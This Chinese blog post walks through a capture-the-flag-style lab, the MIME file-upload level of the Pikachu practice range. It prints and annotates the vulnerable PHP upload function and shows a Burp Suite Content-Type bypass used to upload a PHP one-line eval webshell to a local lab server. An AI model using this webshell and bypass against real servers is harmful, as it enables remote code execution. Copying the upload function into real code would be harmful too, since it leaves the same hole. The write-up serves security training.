pikachu靶场通关笔记34 文件上传02之服务端MIME绕过

发布于:2025-06-18 ⋅ 阅读:(19) ⋅ 点赞:(0)

目录

一、MIME功能

二、实验准备

三、源码分析

1、servercheck.php

2、upload_sick函数

3、渗透思路

四、渗透实战

1、浏览报文

2、bp设置拦截

3、点击上传

4、bp改包

5、获取上传脚本地址

6、访问脚本 


本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件上传关卡(unsafe upfileupload)之服务端MIME源码的代码审计找到产生缺陷的真实原因,讲解服务端MIME关卡客户端check的原理并进行渗透实践。

一、MIME功能

在文件上传功能里,MIME(Multipurpose Internet Mail Extensions)类型发挥着关键作用。MIME 类型是一种标准,用于表示文档、文件或字节流的性质和格式。它由两部分组成,以主类型和子类型的形式呈现,中间用斜杠分隔,例如 text/htmlimage/jpegapplication/pdf 等。主类型描述了文件的大致类别,子类型则进一步明确了具体的格式。常见MIME类型示例如下表所示。

文件类型 MIME类型 典型扩展名
文本文件 text/plain .txt
HTML文件 text/html .html
JPEG图片 image/jpeg .jpg.jpeg
PNG图片 image/png .png
GIF图片 image/gif .gif
PDF文档 application/pdf .pdf
JavaScript application/javascript .js
JSON数据 application/json .json
ZIP压缩文件 application/zip .zip
PHP脚本 application/x-httpd-php .php

二、实验准备

构造文件上传的脚本,内容为一句话马,脚本code内容如下所示。

<?php @eval($_POST[ljn_0627]); ?> 命名为ljn_post_0627.php 用于禁用js法文件上传。

<?php @eval($_POST[ljn2_0627]); ?> 命名为ljn_post2_0627.php用于修改页面法文件上传。

三、源码分析

1、servercheck.php

进入pikachu靶场文件上传02-MIME关卡,完整URL链接如下所示。

http://192.168.59.1/pikachu/vul/unsafeupload/servercheck.php

在pikachu靶场的源码中查看servercheck.php文件,分析可知通过upload_sick函数进行检查是否合法文件,如下所示。

2、upload_sick函数

 upload_sick()函数检查了MIME字段,具体如下所示。

upload_sick 的主要功能是处理文件上传操作,添加注释功能的源码如下所示。 

// 定义一个名为 upload_sick 的函数,用于处理文件上传操作
// 参数 $key 表示 $_FILES 数组中的键名,用于获取上传文件的信息
// 参数 $mime 是一个包含允许的 MIME 类型的数组
// 参数 $save_path 是上传文件保存的目标路径
function upload_sick($key, $mime, $save_path) {
    // 定义一个数组 $arr_errors,用于存储不同文件上传错误码对应的错误信息
    $arr_errors = array(
        1 => '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值',
        2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3 => '文件只有部分被上传',
        4 => '没有文件被上传',
        6 => '找不到临时文件夹',
        7 => '文件写入失败'
    );

    // 检查 $_FILES 数组中是否存在指定键名的元素,如果不存在,说明用户没有选择上传文件
    if (!isset($_FILES[$key]['error'])) {
        // 设置返回数据数组,包含错误信息和上传结果标识
        $return_data['error'] = '请选择上传文件!';
        $return_data['return'] = false;
        // 返回包含错误信息和上传结果的数组
        return $return_data;
    }

    // 检查上传文件的错误码是否不为 0,如果不为 0 表示上传过程中出现了错误
    if ($_FILES[$key]['error'] != 0) {
        // 根据错误码从 $arr_errors 数组中获取对应的错误信息
        $return_data['error'] = $arr_errors[$_FILES[$key]['error']];
        $return_data['return'] = false;
        return $return_data;
    }

    // 验证上传文件的 MIME 类型是否在允许的 MIME 类型数组 $mime 中
    if (!in_array($_FILES[$key]['type'], $mime)) {
        $return_data['error'] = '上传的图片只能是 jpg,jpeg,png 格式的!';
        $return_data['return'] = false;
        return $return_data;
    }

    // 检查保存文件的目标路径是否存在,如果不存在则尝试创建该目录
    if (!file_exists($save_path)) {
        // 使用 mkdir 函数创建目录,权限设置为 0777,允许递归创建
        if (!mkdir($save_path, 0777, true)) {
            $return_data['error'] = '上传文件保存目录创建失败,请检查权限!';
            $return_data['return'] = false;
            return $return_data;
        }
    }

    // 确保保存路径以斜杠结尾,方便后续拼接文件名
    $save_path = rtrim($save_path, '/') . '/';

    // 尝试将上传的临时文件移动到指定的保存路径
    if (!move_uploaded_file($_FILES[$key]['tmp_name'], $save_path . $_FILES[$key]['name'])) {
        $return_data['error'] = '临时文件移动失败,请检查权限!';
        $return_data['return'] = false;
        return $return_data;
    }

    // 如果以上所有检查和操作都通过了,说明文件上传成功
    // 设置返回数据数组,包含上传文件的新路径和上传结果标识
    $return_data['new_path'] = $save_path . $_FILES[$key]['name'];
    $return_data['return'] = true;
    return $return_data;
}

upload函数对上传文件格式是否为脚本的判断主要是基于MIME字段,主要处理逻辑如下所示。

  • 检查用户是否选择了上传文件。
  • 检查上传文件过程中是否出现错误。
  • 验证上传文件的 MIME 类型是否在允许的范围内。
  • 检查保存文件的目标路径是否存在,如果不存在则尝试创建该目录。
  • 将上传的临时文件移动到指定的保存路径。
  • 根据处理结果返回包含错误信息或上传文件新路径的数组。

upload_sick()函数的不安全之处在于两点:

(1)仅检查了MIME类型,可以通过bp抓包修改绕过(使用工具或编程手段将该恶意文件的 MIME 类型修改为允许的图片类型,如 image/jpeg)。

(2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。

综上,分析出服务器检测是否为图片,是通过HTTP request报文中MIME类型在Content-Type字段体现。

3、渗透思路

将php脚本发送到bp改包,将content-type:application/octet-stream改为image/jpeg或者image/jpg或者为image/png,然后将报文上传到服务器绕过检测。

四、渗透实战

1、浏览报文

进入pikachu靶场的MIME关卡,选择ljn_post_0627.php报文但是不上传如下所示。

2、bp设置拦截

firefox开启bp代理,bp设置为拦截请求,inception on,如下所示。

3、点击上传

点击上传,bp抓包,需要修改content-type,如下图红框所示。

4、bp改包

burpsuite将content-type改为image/jpg,并点击发送或者inception off(关闭拦截请求),如下图所示。

5、获取上传脚本地址

如下图所示脚本上传成功,路径为uploads/ljn_post_0627.php,构造脚本完整URL地址。

当前网页路径为:http://192.168.59.1/pikachu/vul/unsafeupload/servercheck.php
当前网页的路径为:http://192.168.59.1/pikachu/vul/unsafeupload/ 
脚本上传路径为:uploads/ljn_post_0627.php
将这两个拼接到一起即可
http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post_0627.php  

6、访问脚本 

访问上传成功后的脚本,如下所示成功获取到服务器的php信息,证明上传成功。

upload靶场一句话木马网址:http://192.168.59.1/upload-labs/upload/ljn_post_0627.php
post参数:ljn_0627=phpinfo();


网站公告

今日签到

点亮在社区的每一天
去签到